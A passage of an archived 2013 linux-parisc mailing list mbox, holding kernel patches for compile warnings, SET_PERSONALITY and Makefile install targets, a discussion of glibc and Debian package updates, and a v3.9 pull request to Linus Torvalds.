I can, although I would prefer if it came with the uaccess/usercopy
unification.

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix compile warnings triggered by atomic_sub(sizeof(),v)
Date: Thu, 28 Feb 2013 00:41:17 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <512E999D.7000300@gmx.de>
References: <20130227221137.GA2806@p100.box> <20130227221552.GA2817@p100.box> <5949791.xCBY7uv0Ms@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362008481 10002 80.91.229.3 (27 Feb 2013 23:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Feb 2013 23:41:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 28 00:41:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UAqd5-00033D-1C
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Feb 2013 00:41:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757014Ab3B0XlW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Feb 2013 18:41:22 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:54066 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752613Ab3B0XlV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Feb 2013 18:41:21 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Lobhc-1UlXA20P98-00gVmN for
 <linux-parisc@vger.kernel.org>; Thu, 28 Feb 2013 00:41:20 +0100
Original-Received: (qmail invoked by alias); 27 Feb 2013 23:41:19 -0000
Original-Received: from p54AD04DF.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.4.223]
  by mail.gmx.net (mp017) with SMTP; 28 Feb 2013 00:41:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19qAAQ6SolqyHt6uiYNnQLdLhkF6GajGyRNQWzEaD
	VbtmBKiStp3Las
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <5949791.xCBY7uv0Ms@donald.sf-tec.de>
X-Enigmail-Version: 1.5
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4846>

On 02/28/2013 12:09 AM, Rolf Eike Beer wrote:
> Helge Deller wrote:
> 
>> atomic_sub() is defined as
>> and if VAL is of type unsigned int (as returned by sizeof()), negating
>> this value will overflow. Fix this by type-casting VAL to int type:
> 
> Something in the first line of the message seems missing.

Oops...
This line:
#define atomic_sub(VAL,v)        ((void)(__atomic_add_return(-(VAL),(v))))
is missing.
It was probably ignored by git am or was eaten by vi due to the "#" :-(

I'll fix that.

Thanks!
Helge 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] [parisc] do not install modules when installing kernel
Date: Fri, 01 Mar 2013 23:23:11 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3763734.hDYRZelWPG@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1362176593 21851 80.91.229.3 (1 Mar 2013 22:23:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 1 Mar 2013 22:23:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org, deller@gmx.de,
	James.Bottomley@hansenpartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 01 23:23:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UBYMV-00030f-Sh
	for glpp-linux-parisc@plane.gmane.org; Fri, 01 Mar 2013 23:23:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751245Ab3CAWXK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 1 Mar 2013 17:23:10 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:54592 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751140Ab3CAWXJ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 1 Mar 2013 17:23:09 -0500
Original-Received: (qmail 24230 invoked from network); 1 Mar 2013 22:23:07 -0000
Original-Received: from dslb-092-077-072-231.pools.arcor-ip.net ([::ffff:92.77.72.231]:37609 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 01 Mar 2013 23:23:07 +0100
User-Agent: KMail/4.9.5 (Linux/3.7.5-21-desktop; KDE/4.9.5; i686; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4847
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4847>

PA-RISC is the only arch that installs the modules when installing the =
kernel.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/Makefile | 4 +---
 1 Datei ge=E4ndert, 1 Zeile hinzugef=FCgt(+), 3 Zeilen entfernt(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index ed9a14c..01d95e2 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -113,12 +113,10 @@ palo: vmlinux
 # Shorthands for known targets not supported by parisc, use vmlinux as=
 default
 Image zImage bzImage: vmlinux
=20
-kernel_install: vmlinux
+install: vmlinux
 	sh $(src)/arch/parisc/install.sh \
 			$(KERNELRELEASE) $< System.map "$(INSTALL_PATH)"
=20
-install: kernel_install modules_install

From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc: fix redefinition of SET_PERSONALITY
Date: Sat, 2 Mar 2013 20:40:53 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20130302194053.GA873@p100.box>
References: <20130227221137.GA2806@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362253268 9196 80.91.229.3 (2 Mar 2013 19:41:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Mar 2013 19:41:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 02 20:41:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UBsJB-0006N5-5h
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Mar 2013 20:41:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752369Ab3CBTlB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Mar 2013 14:41:01 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:50898 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752311Ab3CBTlA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Mar 2013 14:41:00 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LkDzQ-1Ums0f0KDK-00cD7S for
 <linux-parisc@vger.kernel.org>; Sat, 02 Mar 2013 20:40:59 +0100
Original-Received: (qmail invoked by alias); 02 Mar 2013 19:40:58 -0000
Original-Received: from p54AD0163.dip0.t-ipconnect.de (EHLO p100.box) [84.173.1.99]
  by mail.gmx.net (mp034) with SMTP; 02 Mar 2013 20:40:58 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX189wutMsSc96t74V2ksAGZ62HK3SK/uS+xIvqBVqJ
	r/4LpriUrWcszc
Content-Disposition: inline
In-Reply-To: <20130227221137.GA2806@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4848>

commit cf8e18ea2f8be26e8f9e44ed677d25f558ca301a
Author: Helge Deller <deller@gmx.de>
Date:   Sat Mar 2 20:15:28 2013 +0100

commit e72837e3e7bae3f182c4ac63c9424e86f1158dd0 introduced
a default SET_PERSONALITY() in include/linux/elf.h.
This breaks with our own SET_PERSONALITY define for
32bit userspace on 64bit kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/binfmt_elf32.c b/arch/parisc/kernel/binfmt_elf32.c
index f61692d..00dc66f 100644
--- a/arch/parisc/kernel/binfmt_elf32.c
+++ b/arch/parisc/kernel/binfmt_elf32.c
@@ -85,6 +85,7 @@ struct elf_prpsinfo32
  * could set a processor dependent flag in the thread_struct.
  */
 
+#undef SET_PERSONALITY
 #define SET_PERSONALITY(ex) \
 	set_thread_flag(TIF_32BIT); \
 	current->thread.map_base = DEFAULT_MAP_BASE32; \
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [parisc] do not install modules when installing kernel
Date: Sat, 02 Mar 2013 20:42:15 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <51325617.80102@gmx.de>
References: <3763734.hDYRZelWPG@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1362253341 9781 80.91.229.3 (2 Mar 2013 19:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 2 Mar 2013 19:42:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, James.Bottomley@hansenpartnership.com
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 02 20:42:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UBsKP-0006N5-7M
	for glpp-linux-parisc@plane.gmane.org; Sat, 02 Mar 2013 20:42:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752271Ab3CBTmU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 2 Mar 2013 14:42:20 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:54679 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752245Ab3CBTmT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 2 Mar 2013 14:42:19 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MQbf1-1UODkS3wVR-00U5JV for
 <linux-parisc@vger.kernel.org>; Sat, 02 Mar 2013 20:42:18 +0100
Original-Received: (qmail invoked by alias); 02 Mar 2013 19:42:17 -0000
Original-Received: from p54AD0163.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.1.99]
  by mail.gmx.net (mp031) with SMTP; 02 Mar 2013 20:42:17 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18KeQwQjGMKkVd8fyo5Hd/tn2SssJgFbpRd4l8FgU
	F2mLnTegUSU7df
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <3763734.hDYRZelWPG@donald.sf-tec.de>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4849
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4849>

On 03/01/2013 11:23 PM, Rolf Eike Beer wrote:
> PA-RISC is the only arch that installs the modules when installing th=
e kernel.
>=20
> Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>


Thanks!

Applied to my fixes-for-3.9-latest branch at
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git

Helge

> ---
>  arch/parisc/Makefile | 4 +---
>  1 Datei ge=E4ndert, 1 Zeile hinzugef=FCgt(+), 3 Zeilen entfernt(-)
>=20
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index ed9a14c..01d95e2 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -113,12 +113,10 @@ palo: vmlinux
>  # Shorthands for known targets not supported by parisc, use vmlinux =
as default
>  Image zImage bzImage: vmlinux
> =20
> -kernel_install: vmlinux
> +install: vmlinux
>  	sh $(src)/arch/parisc/install.sh \
>  			$(KERNELRELEASE) $< System.map "$(INSTALL_PATH)"
> =20
> -install: kernel_install modules_install
> -
>  CLEAN_FILES	+=3D lifimage
>  MRPROPER_FILES	+=3D palo.conf
> =20
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fixes and cleanups in page cache flushing (1/4)
Date: Sun, 3 Mar 2013 06:38:46 -0500
Organization: wh0rd.org
Lines: 86
Approved: news@gmane.org
Message-ID: <201303030638.48139.vapier@gentoo.org>
References: <20130203225909.GA14573@p100.box> <20130204163743.248510@gmx.net> <510FEBBD.9000207@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart7382436.PEgfhiaOuI";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362310637 5258 80.91.229.3 (3 Mar 2013 11:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Mar 2013 11:37:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, eike-kernel@sf-tec.de,
	linux-parisc@vger.kernel.org, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 03 12:37:40 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UC7EZ-0004Ta-7C
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Mar 2013 12:37:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752870Ab3CCLhR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Mar 2013 06:37:17 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:35578 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752825Ab3CCLhQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Mar 2013 06:37:16 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id F259C33DD00;
	Sun,  3 Mar 2013 11:37:10 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.7.6; KDE/4.6.5; x86_64; ; )
In-Reply-To: <510FEBBD.9000207@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4850
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4850>

--nextPart7382436.PEgfhiaOuI
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: quoted-printable

On Monday 04 February 2013 12:11:25 John David Anglin wrote:
> On 2/4/2013 11:37 AM, Helge Deller wrote:
> >>> Von: Rolf Eike Beer <eike-kernel@sf-tec.de>
> >>>=20
> >>> Helge Deller wrote:
> >>>> This is the first patch in a series of 4, with which the page cache
> >>>> flushing of
> >>>> parisc will gets fixed and enhanced. This even fixes the nasty
> >>>> "minifail" bug
> >>>> (http://wiki.parisc-linux.org/TestCases?highlight=3D%28minifail%29)
> >>>> which
> >>>> prevented parisc to stay an official debian port.  Basically the
> >>>> flush in
> >>>> copy_user_page together with the TLB patch from commit
> >>>> 7139bc1579901b53db7e898789e916ee2fb52d78 is what fixes the minifail
> >>>> bug.
> >>>=20
> >>> Is this series expected to fix the thread related problems I see in t=
he
> >>> git testsuite?
> >>=20
> >> I expect so, if not, please let us know!
> >=20
> > Ahem... actually:
> > MAYBE!!!
> >=20
> > The problem is, that you probably will need an updated glibc (and maybe
> > compiler) as well. Dave has done a lot of work to fix stuff. We have
> > copied the most important update-packages to ftp.parisc-linux.org. To
> > update, just make sure the following lines are in your
> > /etc/apt/source.list file: deb ftp://ftp.de.debian.org/debian-ports
> > unstable main
> > deb ftp://ftp.parisc-linux.org/debian-ports/unstable unstable main
> > deb-src ftp://ftp.de.debian.org/debian unstable main
> >=20
> > Do *not* just update to the packages of debian-ports.org. If you do that
> > it will render your system unbootable, since the udev-package is broken
> > and it will not find your discs at startup.
> >=20
> > It's on my todo-list to upload further packages, update the website on
> > how to update your system, and of course to get a buildd working...
>=20
> Just a note, these packages are for debian systems.  I believe that Eike =
is
> running gentoo.  With respect to glibc, Carlos had a set of changes which=
 I
> submitted to Debian.  The full set was accepted around the -30 unstable
> release.
> I think most of these are in gentoo but the matter needs review.

afaik, Gentoo's glibc-2.17 should have all relevant fixes
=2Dmike

--nextPart7382436.PEgfhiaOuI
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJRMzZIAAoJEEFjO5/oN/WB25IQAMgHryUzLbcF3LrbWcnanLI8
/fVsyxuQnbKQ3Wtn19p8Rs1uJmZjIHK/pcu1thbuUbY7TxpXbZNuGT5lU1mIkZpG
PC8WTomP5ZKH4cL8hIaw1LyyledZgSwiu9wRVfP08oTzNwgWARMK+lop7FGnHFQ8
p3Q9BQ8Cb9ZmZIeBYcAfQ7nrewU1vapuy2Ic10rk6hus3pF4F5B8IvBJ0hcwpkMt
0DkOCN4uwrFJLALpqtisrcqf/BfAu8I3Q1/TFcuoXPEZvcRBkd1qURlcPX9Cekzx
1lWD5TOLHpSYzk8avgGZdu/TiQTyg4PZzyuaQfrJynAMLCArCiVQl6f+wWIJoJM6
K4NmSJX2vx5k5/RVuubrfF5fZ+IRcZCD/tqiIhYtaBrWrVhoAhXPd+hCZ6lKmncf
WDk0Ky5P9ackbum0s2kDs37dpkHPMxxlmOxgWuZ54uzs+r8uME2YoESijFpXAVBN
sP0wEJl0yUbFyIvoITLhFd1i+7AC8UpgcJ5YYnO5paGMb++lRQmx/CCI+9bxpNEG
EwUyaNp7fy382Y4VunQLKaL0/hcomwT/hQKIUloRpFRrPDoehkCAVMrIokdpquxe
DwmohLS4Sq+JyZu8ModeYuqMLiOAuYlJvBXakltpZksKWKGmJAV62eIvHfWC03Bl
dEr/Q/lZXMxppBA+pAzM
=gyKJ
-----END PGP SIGNATURE-----

--nextPart7382436.PEgfhiaOuI--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.9
Date: Sun, 3 Mar 2013 21:41:49 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <20130303204149.GA28970@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1362343316 28567 80.91.229.3 (3 Mar 2013 20:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Mar 2013 20:41:56 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 03 21:42:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UCFje-0002lc-8W
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Mar 2013 21:42:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753346Ab3CCUl4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Mar 2013 15:41:56 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:59421 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753367Ab3CCUl4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Mar 2013 15:41:56 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.28]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lkmp0-1UmPMT3FUS-00aUMJ for
 <linux-parisc@vger.kernel.org>; Sun, 03 Mar 2013 21:41:53 +0100
Original-Received: (qmail invoked by alias); 03 Mar 2013 20:41:53 -0000
Original-Received: from p54AD0665.dip0.t-ipconnect.de (EHLO p100.box) [84.173.6.101]
  by mail.gmx.net (mp028) with SMTP; 03 Mar 2013 21:41:53 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+3McQ3ZAO3MWett3Mj2UhSy+hX1VDT5SSywKAKu7
	Q9eUMSXzokhgZb
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4851 gmane.linux.kernel:1450217
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4851>

Hi Linus,

The following changes since commit b0af9cd9aab60ceb17d3ebabb9fdf4ff0a99cf50:

  Merge tag 'lzo-update-signature-20130226' of git://github.com/markus-oberhumer/linux (2013-02-28 20:45:52 -0800)

are available in the git repository at:


  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git fixes-for-3.9-latest

for you to fetch changes up to cf8e18ea2f8be26e8f9e44ed677d25f558ca301a:

  parisc: fix redefinition of SET_PERSONALITY (2013-03-02 20:15:28 +0100)

----------------------------------------------------------------

Second round of patches for the parisc architecture for Linux 3.9

The most important fix in this branch is the switch of io_setup,
io_getevents and io_submit syscalls to use the available compat
syscalls when running 32bit userspace on 64bit kernel.
Other than that it's mostly removal of compile warnings.

----------------------------------------------------------------
Helge Deller (7):
      parisc: select ARCH_WANT_FRAME_POINTERS
      parisc: switch to compat_functions of io_setup, io_getevents and io_submit
      parisc: remove unused variable 'compat_val'
      parisc: avoid unitialized variable warning in pa_memcpy()
      parisc: check return value of down_interruptible() in hp_sdc_rtc.c
      parisc: fix compile warnings triggered by atomic_sub(sizeof(),v)
      parisc: fix redefinition of SET_PERSONALITY

Rolf Eike Beer (1):
      parisc: do not install modules when installing kernel

 arch/parisc/Kconfig                |  1 +
 arch/parisc/Makefile               |  4 +---
 arch/parisc/include/asm/atomic.h   |  4 ++--
 arch/parisc/kernel/binfmt_elf32.c  |  1 +
 arch/parisc/kernel/signal.c        |  1 -
 arch/parisc/kernel/syscall_table.S |  6 +++---
 arch/parisc/lib/memcpy.c           |  2 +-
 drivers/input/misc/hp_sdc_rtc.c    | 15 ++++++++++++---
 8 files changed, 21 insertions(+), 13 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [parisc] do not install modules when installing kernel
Date: Sun, 3 Mar 2013 16:25:20 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <BLU0-SMTP686B9725460575E9DE1B0597F90@phx.gbl>
References: <3763734.hDYRZelWPG@donald.sf-tec.de> <51325617.80102@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362346332 22419 80.91.229.3 (3 Mar 2013 21:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Mar 2013 21:32:12 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org, James.Bottomley@hansenpartnership.com
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 03 22:32:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UCGWI-0006QM-I2
